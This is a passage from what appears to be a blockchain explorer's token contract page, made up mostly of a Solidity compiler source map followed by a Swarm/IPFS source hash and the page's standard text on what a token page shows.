1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:117::-;3907:1;3904;3897:12;3921:117;4030:1;4027;4020:12;4044:117;4153:1;4150;4143:12;4184:568;4257:8;4267:6;4317:3;4310:4;4302:6;4298:17;4294:27;4284:122;;4325:79;;:::i;:::-;4284:122;4438:6;4425:20;4415:30;;4468:18;4460:6;4457:30;4454:117;;;4490:79;;:::i;:::-;4454:117;4604:4;4596:6;4592:17;4580:29;;4658:3;4650:4;4642:6;4638:17;4628:8;4624:32;4621:41;4618:128;;;4665:79;;:::i;:::-;4618:128;4184:568;;;;;:::o;4758:849::-;4862:6;4870;4878;4886;4935:2;4923:9;4914:7;4910:23;4906:32;4903:119;;;4941:79;;:::i;:::-;4903:119;5089:1;5078:9;5074:17;5061:31;5119:18;5111:6;5108:30;5105:117;;;5141:79;;:::i;:::-;5105:117;5254:80;5326:7;5317:6;5306:9;5302:22;5254:80;:::i;:::-;5236:98;;;;5032:312;5383:2;5409:53;5454:7;5445:6;5434:9;5430:22;5409:53;:::i;:::-;5399:63;;5354:118;5511:2;5537:53;5582:7;5573:6;5562:9;5558:22;5537:53;:::i;:::-;5527:63;;5482:118;4758:849;;;;;;;:::o;5613:619::-;5690:6;5698;5706;5755:2;5743:9;5734:7;5730:23;5726:32;5723:119;;;5761:79;;:::i;:::-;5723:119;5881:1;5906:53;5951:7;5942:6;5931:9;5927:22;5906:53;:::i;:::-;5896:63;;5852:117;6008:2;6034:53;6079:7;6070:6;6059:9;6055:22;6034:53;:::i;:::-;6024:63;;5979:118;6136:2;6162:53;6207:7;6198:6;6187:9;6183:22;6162:53;:::i;:::-;6152:63;;6107:118;5613:619;;;;;:::o;6238:86::-;6273:7;6313:4;6306:5;6302:16;6291:27;;6238:86;;;:::o;6330:112::-;6413:22;6429:5;6413:22;:::i;:::-;6408:3;6401:35;6330:112;;:::o;6448:214::-;6537:4;6575:2;6564:9;6560:18;6552:26;;6588:67;6652:1;6641:9;6637:17;6628:6;6588:67;:::i;:::-;6448:214;;;;:::o;6668:329::-;6727:6;6776:2;6764:9;6755:7;6751:23;6747:32;6744:119;;;6782:79;;:::i;:::-;6744:119;6902:1;6927:53;6972:7;6963:6;6952:9;6948:22;6927:53;:::i;:::-;6917:63;;6873:117;6668:329;;;;:::o;7003:118::-;7090:24;7108:5;7090:24;:::i;:::-;7085:3;7078:37;7003:118;;:::o;7127:222::-;7220:4;7258:2;7247:9;7243:18;7235:26;;7271:71;7339:1;7328:9;7324:17;7315:6;7271:71;:::i;:::-;7127:222;;;;:::o;7355:180::-;7403:77;7400:1;7393:88;7500:4;7497:1;7490:15;7524:4;7521:1;7514:15;7541:281;7624:27;7646:4;7624:27;:::i;:::-;7616:6;7612:40;7754:6;7742:10;7739:22;7718:18;7706:10;7703:34;7700:62;7697:88;;;7765:18;;:::i;:::-;7697:88;7805:10;7801:2;7794:22;7584:238;7541:281;;:::o;7828:129::-;7862:6;7889:20;;:::i;:::-;7879:30;;7918:33;7946:4;7938:6;7918:33;:::i;:::-;7828:129;;;:::o;7963:311::-;8040:4;8130:18;8122:6;8119:30;8116:56;;;8152:18;;:::i;:::-;8116:56;8202:4;8194:6;8190:17;8182:25;;8262:4;8256;8252:15;8244:23;;7963:311;;;:::o;8297:710::-;8393:5;8418:81;8434:64;8491:6;8434:64;:::i;:::-;8418:81;:::i;:::-;8409:90;;8519:5;8548:6;8541:5;8534:21;8582:4;8575:5;8571:16;8564:23;;8635:4;8627:6;8623:17;8615:6;8611:30;8664:3;8656:6;8653:15;8650:122;;;8683:79;;:::i;:::-;8650:122;8798:6;8781:220;8815:6;8810:3;8807:15;8781:220;;;8890:3;8919:37;8952:3;8940:10;8919:37;:::i;:::-;8914:3;8907:50;8986:4;8981:3;8977:14;8970:21;;8857:144;8841:4;8836:3;8832:14;8825:21;;8781:220;;;8785:21;8399:608;;8297:710;;;;;:::o;9030:370::-;9101:5;9150:3;9143:4;9135:6;9131:17;9127:27;9117:122;;9158:79;;:::i;:::-;9117:122;9275:6;9262:20;9300:94;9390:3;9382:6;9375:4;9367:6;9363:17;9300:94;:::i;:::-;9291:103;;9107:293;9030:370;;;;:::o;9406:975::-;9517:6;9525;9533;9541;9590:3;9578:9;9569:7;9565:23;9561:33;9558:120;;;9597:79;;:::i;:::-;9558:120;9745:1;9734:9;9730:17;9717:31;9775:18;9767:6;9764:30;9761:117;;;9797:79;;:::i;:::-;9761:117;9902:78;9972:7;9963:6;9952:9;9948:22;9902:78;:::i;:::-;9892:88;;9688:302;10029:2;10055:53;10100:7;10091:6;10080:9;10076:22;10055:53;:::i;:::-;10045:63;;10000:118;10157:2;10183:53;10228:7;10219:6;10208:9;10204:22;10183:53;:::i;:::-;10173:63;;10128:118;10285:2;10311:53;10356:7;10347:6;10336:9;10332:22;10311:53;:::i;:::-;10301:63;;10256:118;9406:975;;;;;;;:::o;10387:474::-;10455:6;10463;10512:2;10500:9;10491:7;10487:23;10483:32;10480:119;;;10518:79;;:::i;:::-;10480:119;10638:1;10663:53;10708:7;10699:6;10688:9;10684:22;10663:53;:::i;:::-;10653:63;;10609:117;10765:2;10791:53;10836:7;10827:6;10816:9;10812:22;10791:53;:::i;:::-;10781:63;;10736:118;10387:474;;;;;:::o;10867:173::-;11007:25;11003:1;10995:6;10991:14;10984:49;10867:173;:::o;11046:366::-;11188:3;11209:67;11273:2;11268:3;11209:67;:::i;:::-;11202:74;;11285:93;11374:3;11285:93;:::i;:::-;11403:2;11398:3;11394:12;11387:19;;11046:366;;;:::o;11418:419::-;11584:4;11622:2;11611:9;11607:18;11599:26;;11671:9;11665:4;11661:20;11657:1;11646:9;11642:17;11635:47;11699:131;11825:4;11699:131;:::i;:::-;11691:139;;11418:419;;;:::o;11843:180::-;11891:77;11888:1;11881:88;11988:4;11985:1;11978:15;12012:4;12009:1;12002:15;12029:180;12077:77;12074:1;12067:88;12174:4;12171:1;12164:15;12198:4;12195:1;12188:15;12215:233;12254:3;12277:24;12295:5;12277:24;:::i;:::-;12268:33;;12323:66;12316:5;12313:77;12310:103;;12393:18;;:::i;:::-;12310:103;12440:1;12433:5;12429:13;12422:20;;12215:233;;;:::o;12454:114::-;12491:7;12531:30;12524:5;12520:42;12509:53;;12454:114;;;:::o;12574:122::-;12647:24;12665:5;12647:24;:::i;:::-;12640:5;12637:35;12627:63;;12686:1;12683;12676:12;12627:63;12574:122;:::o;12702:143::-;12759:5;12790:6;12784:13;12775:22;;12806:33;12833:5;12806:33;:::i;:::-;12702:143;;;;:::o;12851:93::-;12887:7;12927:10;12920:5;12916:22;12905:33;;12851:93;;;:::o;12950:120::-;13022:23;13039:5;13022:23;:::i;:::-;13015:5;13012:34;13002:62;;13060:1;13057;13050:12;13002:62;12950:120;:::o;13076:141::-;13132:5;13163:6;13157:13;13148:22;;13179:32;13205:5;13179:32;:::i;:::-;13076:141;;;;:::o;13223:661::-;13310:6;13318;13326;13375:2;13363:9;13354:7;13350:23;13346:32;13343:119;;;13381:79;;:::i;:::-;13343:119;13501:1;13526:64;13582:7;13573:6;13562:9;13558:22;13526:64;:::i;:::-;13516:74;;13472:128;13639:2;13665:64;13721:7;13712:6;13701:9;13697:22;13665:64;:::i;:::-;13655:74;;13610:129;13778:2;13804:63;13859:7;13850:6;13839:9;13835:22;13804:63;:::i;:::-;13794:73;;13749:128;13223:661;;;;;:::o;13890:143::-;13947:5;13978:6;13972:13;13963:22;;13994:33;14021:5;13994:33;:::i;:::-;13890:143;;;;:::o;14039:351::-;14109:6;14158:2;14146:9;14137:7;14133:23;14129:32;14126:119;;;14164:79;;:::i;:::-;14126:119;14284:1;14309:64;14365:7;14356:6;14345:9;14341:22;14309:64;:::i;:::-;14299:74;;14255:128;14039:351;;;;:::o;14396:191::-;14436:3;14455:20;14473:1;14455:20;:::i;:::-;14450:25;;14489:20;14507:1;14489:20;:::i;:::-;14484:25;;14532:1;14529;14525:9;14518:16;;14553:3;14550:1;14547:10;14544:36;;;14560:18;;:::i;:::-;14544:36;14396:191;;;;:::o;14593:173::-;14733:25;14729:1;14721:6;14717:14;14710:49;14593:173;:::o;14772:366::-;14914:3;14935:67;14999:2;14994:3;14935:67;:::i;:::-;14928:74;;15011:93;15100:3;15011:93;:::i;:::-;15129:2;15124:3;15120:12;15113:19;;14772:366;;;:::o;15144:419::-;15310:4;15348:2;15337:9;15333:18;15325:26;;15397:9;15391:4;15387:20;15383:1;15372:9;15368:17;15361:47;15425:131;15551:4;15425:131;:::i;:::-;15417:139;;15144:419;;;:::o;15569:85::-;15614:7;15643:5;15632:16;;15569:85;;;:::o;15660:60::-;15688:3;15709:5;15702:12;;15660:60;;;:::o;15726:158::-;15784:9;15817:61;15835:42;15844:32;15870:5;15844:32;:::i;:::-;15835:42;:::i;:::-;15817:61;:::i;:::-;15804:74;;15726:158;;;:::o;15890:147::-;15985:45;16024:5;15985:45;:::i;:::-;15980:3;15973:58;15890:147;;:::o;16043:585::-;16236:4;16274:3;16263:9;16259:19;16251:27;;16288:71;16356:1;16345:9;16341:17;16332:6;16288:71;:::i;:::-;16369:80;16445:2;16434:9;16430:18;16421:6;16369:80;:::i;:::-;16459;16535:2;16524:9;16520:18;16511:6;16459:80;:::i;:::-;16549:72;16617:2;16606:9;16602:18;16593:6;16549:72;:::i;:::-;16043:585;;;;;;;:::o;16634:224::-;16774:34;16770:1;16762:6;16758:14;16751:58;16843:7;16838:2;16830:6;16826:15;16819:32;16634:224;:::o;16864:366::-;17006:3;17027:67;17091:2;17086:3;17027:67;:::i;:::-;17020:74;;17103:93;17192:3;17103:93;:::i;:::-;17221:2;17216:3;17212:12;17205:19;;16864:366;;;:::o;17236:419::-;17402:4;17440:2;17429:9;17425:18;17417:26;;17489:9;17483:4;17479:20;17475:1;17464:9;17460:17;17453:47;17517:131;17643:4;17517:131;:::i;:::-;17509:139;;17236:419;;;:::o;17661:223::-;17801:34;17797:1;17789:6;17785:14;17778:58;17870:6;17865:2;17857:6;17853:15;17846:31;17661:223;:::o;17890:366::-;18032:3;18053:67;18117:2;18112:3;18053:67;:::i;:::-;18046:74;;18129:93;18218:3;18129:93;:::i;:::-;18247:2;18242:3;18238:12;18231:19;;17890:366;;;:::o;18262:419::-;18428:4;18466:2;18455:9;18451:18;18443:26;;18515:9;18509:4;18505:20;18501:1;18490:9;18486:17;18479:47;18543:131;18669:4;18543:131;:::i;:::-;18535:139;;18262:419;;;:::o;18687:221::-;18827:34;18823:1;18815:6;18811:14;18804:58;18896:4;18891:2;18883:6;18879:15;18872:29;18687:221;:::o;18914:366::-;19056:3;19077:67;19141:2;19136:3;19077:67;:::i;:::-;19070:74;;19153:93;19242:3;19153:93;:::i;:::-;19271:2;19266:3;19262:12;19255:19;;18914:366;;;:::o;19286:419::-;19452:4;19490:2;19479:9;19475:18;19467:26;;19539:9;19533:4;19529:20;19525:1;19514:9;19510:17;19503:47;19567:131;19693:4;19567:131;:::i;:::-;19559:139;;19286:419;;;:::o;19711:179::-;19851:31;19847:1;19839:6;19835:14;19828:55;19711:179;:::o;19896:366::-;20038:3;20059:67;20123:2;20118:3;20059:67;:::i;:::-;20052:74;;20135:93;20224:3;20135:93;:::i;:::-;20253:2;20248:3;20244:12;20237:19;;19896:366;;;:::o;20268:419::-;20434:4;20472:2;20461:9;20457:18;20449:26;;20521:9;20515:4;20511:20;20507:1;20496:9;20492:17;20485:47;20549:131;20675:4;20549:131;:::i;:::-;20541:139;;20268:419;;;:::o;20693:224::-;20833:34;20829:1;20821:6;20817:14;20810:58;20902:7;20897:2;20889:6;20885:15;20878:32;20693:224;:::o;20923:366::-;21065:3;21086:67;21150:2;21145:3;21086:67;:::i;:::-;21079:74;;21162:93;21251:3;21162:93;:::i;:::-;21280:2;21275:3;21271:12;21264:19;;20923:366;;;:::o;21295:419::-;21461:4;21499:2;21488:9;21484:18;21476:26;;21548:9;21542:4;21538:20;21534:1;21523:9;21519:17;21512:47;21576:131;21702:4;21576:131;:::i;:::-;21568:139;;21295:419;;;:::o;21720:222::-;21860:34;21856:1;21848:6;21844:14;21837:58;21929:5;21924:2;21916:6;21912:15;21905:30;21720:222;:::o;21948:366::-;22090:3;22111:67;22175:2;22170:3;22111:67;:::i;:::-;22104:74;;22187:93;22276:3;22187:93;:::i;:::-;22305:2;22300:3;22296:12;22289:19;;21948:366;;;:::o;22320:419::-;22486:4;22524:2;22513:9;22509:18;22501:26;;22573:9;22567:4;22563:20;22559:1;22548:9;22544:17;22537:47;22601:131;22727:4;22601:131;:::i;:::-;22593:139;;22320:419;;;:::o;22745:225::-;22885:34;22881:1;22873:6;22869:14;22862:58;22954:8;22949:2;22941:6;22937:15;22930:33;22745:225;:::o;22976:366::-;23118:3;23139:67;23203:2;23198:3;23139:67;:::i;:::-;23132:74;;23215:93;23304:3;23215:93;:::i;:::-;23333:2;23328:3;23324:12;23317:19;;22976:366;;;:::o;23348:419::-;23514:4;23552:2;23541:9;23537:18;23529:26;;23601:9;23595:4;23591:20;23587:1;23576:9;23572:17;23565:47;23629:131;23755:4;23629:131;:::i;:::-;23621:139;;23348:419;;;:::o;23773:442::-;23922:4;23960:2;23949:9;23945:18;23937:26;;23973:71;24041:1;24030:9;24026:17;24017:6;23973:71;:::i;:::-;24054:72;24122:2;24111:9;24107:18;24098:6;24054:72;:::i;:::-;24136;24204:2;24193:9;24189:18;24180:6;24136:72;:::i;:::-;23773:442;;;;;;:::o;24221:116::-;24291:21;24306:5;24291:21;:::i;:::-;24284:5;24281:32;24271:60;;24327:1;24324;24317:12;24271:60;24221:116;:::o;24343:137::-;24397:5;24428:6;24422:13;24413:22;;24444:30;24468:5;24444:30;:::i;:::-;24343:137;;;;:::o;24486:345::-;24553:6;24602:2;24590:9;24581:7;24577:23;24573:32;24570:119;;;24608:79;;:::i;:::-;24570:119;24728:1;24753:61;24806:7;24797:6;24786:9;24782:22;24753:61;:::i;:::-;24743:71;;24699:125;24486:345;;;;:::o;24837:180::-;24885:77;24882:1;24875:88;24982:4;24979:1;24972:15;25006:4;25003:1;24996:15;25023:185;25063:1;25080:20;25098:1;25080:20;:::i;:::-;25075:25;;25114:20;25132:1;25114:20;:::i;:::-;25109:25;;25153:1;25143:35;;25158:18;;:::i;:::-;25143:35;25200:1;25197;25193:9;25188:14;;25023:185;;;;:::o;25214:180::-;25354:32;25350:1;25342:6;25338:14;25331:56;25214:180;:::o;25400:366::-;25542:3;25563:67;25627:2;25622:3;25563:67;:::i;:::-;25556:74;;25639:93;25728:3;25639:93;:::i;:::-;25757:2;25752:3;25748:12;25741:19;;25400:366;;;:::o;25772:419::-;25938:4;25976:2;25965:9;25961:18;25953:26;;26025:9;26019:4;26015:20;26011:1;26000:9;25996:17;25989:47;26053:131;26179:4;26053:131;:::i;:::-;26045:139;;25772:419;;;:::o;26197:194::-;26237:4;26257:20;26275:1;26257:20;:::i;:::-;26252:25;;26291:20;26309:1;26291:20;:::i;:::-;26286:25;;26335:1;26332;26328:9;26320:17;;26359:1;26353:4;26350:11;26347:37;;;26364:18;;:::i;:::-;26347:37;26197:194;;;;:::o;26397:177::-;26537:29;26533:1;26525:6;26521:14;26514:53;26397:177;:::o;26580:366::-;26722:3;26743:67;26807:2;26802:3;26743:67;:::i;:::-;26736:74;;26819:93;26908:3;26819:93;:::i;:::-;26937:2;26932:3;26928:12;26921:19;;26580:366;;;:::o;26952:419::-;27118:4;27156:2;27145:9;27141:18;27133:26;;27205:9;27199:4;27195:20;27191:1;27180:9;27176:17;27169:47;27233:131;27359:4;27233:131;:::i;:::-;27225:139;;26952:419;;;:::o

Swarm Source

ipfs://91a4684e7f5b23f4aa743179cd1499290c7b350aae46a09efc3225d5c5884c31
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.